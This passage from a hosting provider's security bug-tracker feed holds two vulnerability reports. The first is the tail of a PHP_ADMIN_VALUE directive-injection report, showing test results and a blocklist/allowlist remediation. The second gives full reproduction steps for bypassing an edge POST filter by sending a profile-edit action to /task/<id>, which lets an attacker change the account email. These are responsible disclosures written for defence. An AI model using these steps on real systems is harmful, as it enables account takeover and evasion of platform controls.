		<td> 3 </td><td> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 204 </td><td> uid=559104 in body </td><td> Pass </td>
	</tr>
</table>

<p>
 <strong>Success rate: 3/3 (100%)</strong>
</p>

<p>
## Remediation
</p>

<p>
1. <strong>Immediate — Blocklist `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE`:</strong> Reject any `vhost_additional_directives`
</p>
<pre class="code"> submission containing `PHP_ADMIN_VALUE` or `PHP_VALUE`. These allow overriding platform-level
 PHP restrictions and must never be customer-settable.</pre>

<p>
2. <strong>Correct fix — Allowlist approach:</strong> Replace the blocklist with an explicit allowlist of
</p>
<pre class="code"> `FcgidInitialEnv` variable names customers are permitted to set. Everything else is rejected.</pre>

<p>
3. <strong>Defense in depth — <acronym title="Hypertext Preprocessor">PHP</acronym>-FPM:</strong> Consider migrating from <acronym title="Hypertext Preprocessor">PHP</acronym>-<acronym title="Common Gateway Interface">CGI</acronym>/mod_fcgid to <acronym title="Hypertext Preprocessor">PHP</acronym>-FPM with
</p>
<pre class="code"> `pm.max_requests` per pool. PHP-FPM&#039;s `php_admin_value` in the pool config is managed by the
 platform and cannot be overridden via Apache directives.</pre>

<p>
4. <strong>Audit related directives:</strong> Check whether `<acronym title="Hypertext Preprocessor">PHP</acronym>_FLAG`, `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_FLAG`, `FcgidPassHeader`,
</p>
<pre class="code"> and `FcgidFixPathinfo` can be abused similarly.</pre>
</div>
    </content>
    <author><name>Karan Darji</name></author>
    <id>https://security.alwaysdata.com/:538</id>
  </entry>
    <entry>
    <title>FS#537: Edge POST filter bypass: dispatcher honours &quot;action&quot; on /task/* (profile e-mail/name writable)</title>
    <link href="https://security.alwaysdata.com/task/537" />    
    <updated>2026-10-28T13:55:14Z</updated>    
    <published>2026-10-27T18:29:33Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
SUMMARY
</p>
<hr />

<p>
 The edge filter on security.alwaysdata.com only allows POST to /task/* and<br />/index.php?do=authenticate. Flyspray dispatches on the &quot;action&quot; field and ignores<br />the path, so POSTing the profile-edit form to /task/&lt;any id&gt; executes the action. 
</p>
<pre class="code">POST /myprofile   -&gt; 403 (blocked by the filter)
POST /task/536    -&gt; 303, change stored (same body, action=myprofile.edituser)</pre>

<p>
 Reproduced on my own account (uid 358) on 2026-10-27, all changes reverted:
</p>
<pre class="code">real_name  -&gt; &quot;Ali Abbas ROUTE&quot; (stored)  -&gt; reverted
email      -&gt; admin@bugbountyscam.com (stored) -&gt; reverted</pre>

<p>
 STEPS
</p>
<hr />

<p>
 1. GET <a href="https://security.alwaysdata.com/myprofile" class="urlextern" title="https://security.alwaysdata.com/myprofile"  rel="nofollow">https://security.alwaysdata.com/myprofile</a> as a logged-in user; take csrftoken.<br />2. POST the profile form to /myprofile  ⇒ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 403 Forbidden.<br />3. POST the identical multipart body to /task/&lt;any task id&gt;
</p>
<pre class="code"> with action=myprofile.edituser        =&gt; HTTP/2 303 See Other,
 Location: https://security.alwaysdata.com/myprofile</pre>

<p>
4. Reload /myprofile: real_name and email_address contain the submitted values.
</p>

<p>
ROOT CAUSE
</p>
<hr />

<p>
 Filter decision is path-prefix based; application handler selection is based on<br />the &quot;action&quot; parameter. No component validates that the two agree.
</p>

<p>
SCOPE OF THE BYPASS
</p>
<hr />

<p>
 - Every other blocked POST path tested (/index.php, /proj1, /newtask/proj1,
</p>
<pre class="code">/myprofile) still returns 403; only /task/* reaches the dispatcher.</pre>

<p>
- Unauthenticated requests have no effect (session check holds, login page).<br />- user_id=1 / user_id=99999 in the body are ignored - handler always targets the
</p>
<pre class="code">session user. Group fields (group_in, old_global_id) ignored, server-side only.</pre>

<p>
So this bypasses the transport filter, not the per-action authorisation.
</p>

<p>
IMPACT
</p>
<hr />

<p>
 Any POST route the edge rule is meant to protect can be reached by relabelling<br />the path as /task/&lt;id&gt;. Persistent writes were demonstrated (profile e-mail and<br />real name); changing the profile e-mail also changes where account notifications<br />and recovery messages are delivered.
</p>

<p>
REMEDIATION
</p>
<hr />

<p>
 - Enforce the POST allow-list on the dispatched action, not the <acronym title="Uniform Resource Locator">URL</acronym> path.<br />- Reject requests whose &quot;action&quot; does not belong to the route they were sent to.<br />- Make the dispatcher refuse action processing on controllers that do not
</p>
<pre class="code">declare that action.</pre>

<p>
 Timestamp: 2026-10-27 18:2x UTC. Testing was manual, own account only, low rate.
</p>
</div>
    </content>
    <author><name>Ali Abbas</name></author>
    <id>https://security.alwaysdata.com/:537</id>
  </entry>
  </feed>
